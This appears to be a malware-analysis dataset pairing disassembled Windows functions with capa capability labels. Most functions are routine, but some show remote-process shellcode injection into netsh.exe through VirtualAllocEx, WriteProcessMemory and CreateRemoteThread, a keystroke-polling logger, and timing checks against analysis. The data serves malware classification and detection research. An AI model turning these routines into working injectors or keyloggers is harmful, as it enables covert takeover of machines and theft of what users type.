joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180072f50
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
lea r12d, [r9 - 6]
mov ebp, r9d
mov r15, r8
mov rdi, rdx
mov r14, rcx
cmp r9d, r12d
jbe case.0x180072fa0.6
lea esi, [r9 - 0x55]
lea r13, [0x180000000]
cmp esi, 0x13
ja case.0x180072fa0.2
mov ecx, dword [r13 + rsi*4 + 0x730c4]
add rcx, r13
jmp rcx
xor ebx, ebx
cmp qword [rdi], rbx
jbe case.0x180072fa0.2
nop dword [rax]
mov rax, qword [r15]
lea r8, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x48], rax
mov rax, qword [r14 + rbx*8]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
lea edx, [r9 + 0x31]
call fcn.180055500
test al, al
jne 0x18007302f
inc rbx
cmp rbx, qword [rdi]
jb 0x180072fb0
jmp case.0x180072fa0.2
mov edx, 8
mov r9, rdi
mov rcx, r14
lea r8d, [rdx - 7]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rax, 1
sete byte [rsp + 0x40]
dec ebp
dec esi
cmp ebp, r12d
ja 0x180072f90
mov rax, qword [rsp + 0x40]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rbx
jmp 0x180073011
cmp byte [r14 + 0x118], 0
je 0x180073045
mov byte [rsp + 0x40], 0
jmp case.0x180072fa0.6
mov rax, qword [r14]
lea rdx, [r14 + 0x78]
mov r8, qword [r14 + 0x100]
xor r9d, r9d
mov qword [rsp + 0x38], 0
mov ecx, 0x12b
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
call fcn.18002b160
mov byte [r14 + 0x118], al
mov byte [rsp + 0x40], al
jmp case.0x180072fa0.6
mov rax, 0xffffffffffffffff
jmp 0x180073011
mov rax, qword [rdi]
lea r9, [rsp + 0x50]
mov rdx, qword [r14]
inc rax
xor r8d, r8d
mov qword [rsp + 0x50], rax
mov ecx, 0xd1
call fcn.180079830
jmp 0x180073011
Function at 0x180077690
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x8080
call fcn.18007e310
sub rsp, rax
mov rax, qword [0x1800a9e28]
xor rax, rsp
mov qword [rsp + 0x8070], rax
mov r12, qword [rsp + 0x80e0]
lea ebp, [rcx - 5]
mov r14, r9
mov rdi, r8
mov r15, rdx
mov ebx, ecx
cmp ecx, ebp
jbe 0x180077749
mov rsi, qword [rsp + 0x38]
xor r13d, r13d
mov eax, ebx
sub eax, 0x3c
je 0x180077749
sub eax, 1
je 0x180077779
sub eax, 5
je 0x18007780a
sub eax, 4
je 0x1800777f9
cmp eax, 1
jne 0x1800777ea
mov qword [0x1800a9f08], rdi
lea r8, [0x18002e0e0]
mov qword [rsp + 0x28], r13
mov r9, rdi
xor edx, edx
mov qword [rdi + 0x80], r14
xor ecx, ecx
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
test rax, rax
jne 0x1800777ea
mov byte [rsp + 0x30], r13b
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x8070]
xor rcx, rsp
call fcn.18007e380
mov rbx, qword [rsp + 0x80c0]
add rsp, 0x8080
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
xor edx, edx
mov dword [rsp + 0x50], 0xc00000c
mov r8d, 0x4000
lea rcx, [rsp + 0x54]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x4004
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x4060]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [r12]
lea r9, [rsp + 0x4060]
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x38]
mov rax, qword [r14]
mov r8, r15
mov qword [rsp + 0x40], rax
mov edx, 0x67
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.180038210
mov qword [rsp + 0x30], rax
dec ebx
cmp ebx, ebp
ja 0x1800776e1
jmp 0x180077749
xchg qword [0x1800a9f10], rsi
mov byte [rsp + 0x30], 1
jmp 0x180077749
mov rax, qword [r15]
lea r8, [rsp + 0x38]
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x40]
mov rax, qword [rdi]
mov r9d, 0x42
add rax, qword [r14]
xor edx, edx
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x20], r13
call fcn.180014670
add rax, qword [r14]
jmp 0x18007774e
Function at 0x18007da50
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov r9d, 0x9d
xor r8d, r8d
xor edx, edx
jmp fcn.18002e520
Function at 0x140001530
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0xf0]
mov dword [rbp + 0x20], ecx
mov qword [rbp + 0x28], rdx
call fcn.140001830
mov rax, qword [rbp + 0x28]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sub.msvcrt.dll_atoi
mov dword [rbp - 4], eax
lea rdx, [rbp - 0x80]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x80], 0x68
mov dword [rbp - 0x80], 0x68
mov dword [rbp - 0x44], 1
mov word [rbp - 0x40], 0
mov qword [rbp - 0xa0], 0
mov qword [rbp - 0x98], 0
mov qword [rbp - 0x90], 0
cmp dword [rbp - 4], 0
jle 0x1400015c8
mov eax, dword [rbp - 4]
mov ecx, eax
call fcn.140001666
jmp 0x140001657
mov dword [rbp - 8], 0
mov dword [rbp - 0xc], 0
lea rax, [rbp - 0xa0]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rdx, str.C:Windows_system32_netsh.exe
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov dword [rbp - 8], eax
cmp dword [rbp - 8], 0
je 0x140001657
mov rax, qword [rbp - 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessId]
call rax
mov dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
mov ecx, eax
call fcn.140001666
mov eax, 0
add rsp, 0xf8
pop rdi
pop rbp
ret

Function at 0x140001666
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
cmp dword [rbp + 0x10], 0
jne 0x140001681
mov ecx, 0
call sub.msvcrt.dll_exit
mov r8d, dword [rbp + 0x10]
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400016ad
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp - 8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x47e5a
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x1400016eb
mov ecx, 0
call sub.msvcrt.dll_exit
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9d, 0x23f2d
lea r8, [0x140003020]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x140001723
mov ecx, 0
call sub.msvcrt.dll_exit
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x50
pop rbp
ret
Function at 0x140001a40
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002860
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002860
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x140001ab0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x14002a0b4]
mov r12, rcx
test ebx, ebx
jle 0x140001be0
mov rax, qword [0x14002a0b8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x140001afc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001b83
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x140001ae0
mov rcx, r12
call fcn.140002510
mov rsi, rax
test rax, rax
je 0x140001c02
mov rax, qword [0x14002a0b8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.140002640
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x14002a0b8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001be7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001b7c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001b90
add dword [0x14002a0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x14002a0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b7c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001a40
nop dword [rax]
xor ebx, ebx
jmp 0x140001b07
mov rax, qword [0x14002a0b8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001a40
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140001a40
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002180
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x14002a120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14002a100]
test rbx, rbx
je 0x1400021d4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x1400021cb
test r12, r12
je 0x1400021cb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400021b0
lea rcx, [0x14002a120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002510
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400273b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002530
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002538
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002530
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140002585
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000257c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002530
add rax, 0x28
cmp rax, r9
jne 0x140002568
xor eax, eax
ret

Function at 0x140002590
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400273b0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1400025b0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400025b8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400025b0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140002640
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400273b0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002660
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002668
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x1800030d0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, 0xffffffff
test edx, edx
je 0x18000310e
mov r9d, edx
lea r10, [0x180083280]
nop dword [rax]
nop word [rax + rax]
movzx r8d, word [rcx]
lea rcx, [rcx + 2]
mov edx, eax
shr eax, 8
xor r8, rdx
movzx edx, r8b
xor eax, dword [r10 + rdx*4]
sub r9, 1
jne 0x1800030f0
not eax
ret
Function at 0x18000c880
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
test rcx, rcx
jne 0x18000c88d
xor eax, eax
jmp 0x18000c906
mov r9, qword [rcx]
test r9, r9
jne 0x18000c899
xor eax, eax
jmp 0x18000c906
mov r9, qword [r9 + 0x10]
test r9, r9
jne 0x18000c8a6
xor eax, eax
jmp 0x18000c906
mov r10, r9
mov qword [rsp + 8], r9
xor edx, edx
mov r8d, 0xffffffff
lea r11, [0x180083280]
mov dword [rsp], edx
mov ecx, r8d
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [r9 + rax], 0
jne 0x18000c8d0
cmp edx, eax
jae 0x18000c8fc
movsx eax, byte [r10]
xor rax, rcx
movzx ecx, al
shr r8d, 8
xor r8d, dword [r11 + rcx*4]
inc r10
mov qword [rsp + 8], r10
inc edx
jmp 0x18000c8bd
not r8d
mov eax, r8d
jmp 0x18000c906
add rsp, 0x18
ret

Function at 0x18000ce40
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rdi
sub rsp, 0x20
mov rdi, rcx
test rcx, rcx
jne 0x18000ce56
xor eax, eax
add rsp, 0x20
pop rdi
ret
mov ecx, dword [0x1800a9584]
mov rax, qword gs:[0x58]
mov edx, 4
mov qword [rsp + 0x30], rbx
mov rax, qword [rax + rcx*8]
mov eax, dword [rdx + rax]
cmp dword [0x1800aa2ac], eax
jg 0x18000ceea
mov rax, qword [0x1800aa168]
mov rcx, rdi
call rax
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [rax + rbx*2 + 0x14], 0
jne 0x18000ce91
mov rax, qword [0x1800aa168]
mov rcx, rdi
call rax
lea r8, [rax + 0x14]
mov eax, 0xffffffff
test ebx, ebx
je 0x18000cedd
mov r9d, ebx
lea r10, [0x180083280]
nop
movzx edx, word [r8]
lea r8, [r8 + 2]
mov ecx, eax
shr eax, 8
xor rdx, rcx
movzx ecx, dl
xor eax, dword [r10 + rcx*4]
sub r9, 1
jne 0x18000cec0
mov rbx, qword [rsp + 0x30]
not eax
add rsp, 0x20
pop rdi
ret
lea rcx, [0x1800aa2ac]
call fcn.18007ea00
cmp dword [0x1800aa2ac], 0xffffffff
jne 0x18000ce7e
mov ecx, 0x668c7be0
call fcn.180005120
lea rcx, [0x1800aa2ac]
mov rdx, qword [rax]
mov qword [0x1800aa168], rdx
call fcn.18007e994
jmp 0x18000ce7e

Function at 0x18000cf30
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test rcx, rcx
je 0x18000cf90
mov r8, qword [rcx]
test r8, r8
je 0x18000cf90
mov r8, qword [r8 + 0x10]
mov eax, 0xffffffff
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [r8 + rcx], 0
jne 0x18000cf50
test ecx, ecx
je 0x18000cf8d
mov r9d, ecx
lea r10, [0x180083280]
nop dword [rax + rax]
movsx edx, byte [r8]
lea r8, [r8 + 1]
mov ecx, eax
shr eax, 8
xor rdx, rcx
movzx ecx, dl
xor eax, dword [r10 + rcx*4]
sub r9, 1
jne 0x18000cf70
not eax
ret
xor eax, eax
ret
Function at 0x1800132b0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
sub rsp, 0x28
cmp byte [0x1800a9b18], 0
jne 0x180013310
lea rcx, [rsp + 0x30]
mov byte [0x1800a9b18], 1
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x38], 0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xorps xmm0, xmm0
xorps xmm1, xmm1
cvtsi2ss xmm0, qword [rsp + 0x38]
cvtsi2ss xmm1, qword [rsp + 0x30]
movss dword [0x1800a9cf8], xmm0
movss dword [0x1800a9b58], xmm1
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [rsp + 0x30]
subss xmm0, dword [0x1800a9b58]
divss xmm0, dword [0x1800a9cf8]
add rsp, 0x28
ret
Function at 0x180022320
Capabilities:
Get graphical window text
Log keystrokes via polling

Disassembly:
push rdi
sub rsp, 0x160
mov qword [rsp + 0x178], rbx
xor ebx, ebx
mov dword [rsp + 0x170], ebx
mov ecx, dword [0x180098aac]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x180022400
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8d, 0x100
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextA]
xorps xmm0, xmm0
lea rax, [rsp + 0x60]
xorps xmm1, xmm1
mov r8, 0xffffffffffffffff
movups xmmword [rsp + 0x40], xmm0
movdqu xmmword [rsp + 0x50], xmm1
inc r8
cmp byte [rax + r8], bl
jne 0x180022386
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.180045110
movabs rcx, 0x529e9d3c3dae1b2a
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x28], rcx
movabs rax, 0x99e72315fdc44c57
mov qword [rsp + 0x20], rax
mov ebx, 1
movdqa xmm0, xmmword [rsp + 0x20]
movabs rax, 0x99e7231589b73905
mov qword [rsp + 0x38], rcx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x30], rax
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x20], xmm0
call fcn.1800425c0
cmp rax, 0xffffffffffffffff
je 0x180022400
movzx edi, bl
jmp 0x180022403
xor dil, dil
test bl, 1
mov rbx, qword [rsp + 0x178]
je 0x180022450
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x180022450
mov rcx, qword [rsp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18002244b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18002244b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18007e98c
movzx eax, dil
add rsp, 0x160
pop rdi
ret
Function at 0x1800415a0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp edx, 1
je 0x1800415b0
xor al, al
add rsp, 0x38
ret
xor eax, eax
lea r8, [0x180041580]
mov r9, rcx
mov qword [rsp + 0x28], rax
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x1800415dd
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add rsp, 0x38
ret

Function at 0x180048910
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x18004896d
lea rbx, [0x180083d50]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x180048954
cmp r10, 2
jb 0x180048954
cmp byte [r9], r8b
jne 0x180048954
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x180048930
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x1800489af
lea rbx, [0x180083d50]
cmp r8b, 0x23
jne 0x180048993
cmp byte [r9], r8b
jne 0x180048993
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x180048980
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x180048b30
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x180048b4a
mov qword [r8], 0
lea rdx, [0x180082950]
call fcn.1800489c0
mov rbx, rax
test rax, rax
jne 0x180048b6a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x180048c41
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180048c41
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x180048c41
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180048c41
cmp rdi, 0xffffffffffffffff
je 0x180048c41
mov rax, qword [0x1800a9d00]
test rax, rax
je 0x180048bde
inc dword [rax + 0x3bc]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x180048c41
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x180048c2e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1800a9d00]
test rax, rax
je 0x180048c23
dec dword [rax + 0x3bc]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x180048c4a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x180048c3c
mov qword [r14], rdi
mov rax, rsi
jmp 0x180048c4c
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x18004d130
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
xor eax, eax
lea r8, [0x180087e55]
mov dword [rsp + 0x2c], eax
lea r11, [0x180083d50]
mov qword [rsp + 0x48], rax
mov r10d, 0xffffffff
lea rax, str.Window
mov rbx, rcx
mov qword [rsp + 0x20], rax
mov edx, r10d
mov r9b, 0x57
nop
cmp r9b, 0x23
jne 0x18004d183
cmp byte [r8], r9b
jne 0x18004d183
cmp byte [r8 + 1], r9b
cmove edx, r10d
movzx ecx, dl
movzx eax, r9b
movzx r9d, byte [r8]
xor rcx, rax
shr edx, 8
inc r8
xor edx, dword [r11 + rcx*4]
test r9b, r9b
jne 0x18004d170
mov ecx, dword [rbx + 0x3064]
lea rax, [0x1800592a0]
mov edi, dword [rbx + 0x3060]
not edx
mov qword [rsp + 0x30], rax
lea rax, [0x180059350]
mov qword [rsp + 0x38], rax
lea rax, [0x180059420]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x28], edx
cmp edi, ecx
jne 0x18004d285
inc edi
test ecx, ecx
je 0x18004d1ef
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
jmp 0x18004d1f4
mov eax, 8
cmp eax, edi
cmovg edi, eax
cmp edi, ecx
jle 0x18004d285
mov rax, qword [0x1800a9d00]
mov qword [rsp + 0x60], rsi
test rax, rax
je 0x18004d218
inc dword [rax + 0x3bc]
movsxd rax, edi
lea rcx, [rax + rax*2]
shl rcx, 4
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdx, qword [rbx + 0x3068]
mov rsi, rax
test rdx, rdx
je 0x18004d273
movsxd rcx, dword [rbx + 0x3060]
lea r8, [rcx + rcx*2]
mov rcx, rax
shl r8, 4
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbx + 0x3068]
test rcx, rcx
je 0x18004d26d
mov rax, qword [0x1800a9d00]
test rax, rax
je 0x18004d26d
dec dword [rax + 0x3bc]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov qword [rbx + 0x3068], rsi
mov rsi, qword [rsp + 0x60]
mov dword [rbx + 0x3064], edi
movsxd rax, dword [rbx + 0x3060]
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
lea rcx, [rax + rax*2]
mov rax, qword [rbx + 0x3068]
add rcx, rcx
movups xmmword [rax + rcx*8], xmm0
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rax + rcx*8 + 0x10], xmm1
movups xmmword [rax + rcx*8 + 0x20], xmm0
inc dword [rbx + 0x3060]
mov byte [rbx], 1
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret

Function at 0x18004e320
Capabilities:
Hash data with crc32

Disassembly:
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10d, 0xffffffff
mov eax, r10d
test r9b, r9b
je 0x18004e370
lea r11, [0x180083d50]
nop dword [rax]
cmp r9b, 0x23
jne 0x18004e353
cmp byte [r8], r9b
jne 0x18004e353
cmp byte [r8 + 1], r9b
cmove eax, r10d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [r11 + rdx*4]
test r9b, r9b
jne 0x18004e340
mov rcx, qword [0x1800a9d00]
not eax
movsxd rdx, dword [rcx + 0x1b10]
mov r9, qword [rcx + 0x1b18]
mov r10, rdx
shl r10, 4
add r10, r9
test rdx, rdx
je 0x18004e3d1
nop word [rax + rax]
mov r8, rdx
shr r8, 1
mov rcx, r8
add rcx, rcx
cmp dword [r9 + rcx*8], eax
jae 0x18004e3c9
lea r9, [r9 + rcx*8]
mov rcx, 0xffffffffffffffff
sub rcx, r8
add r9, 0x10
add rdx, rcx
jmp 0x18004e3cc
mov rdx, r8
test rdx, rdx
jne 0x18004e3a0
cmp r9, r10
je 0x18004e3e0
cmp dword [r9], eax
jne 0x18004e3e0
mov rax, qword [r9 + 8]
ret
xor eax, eax
ret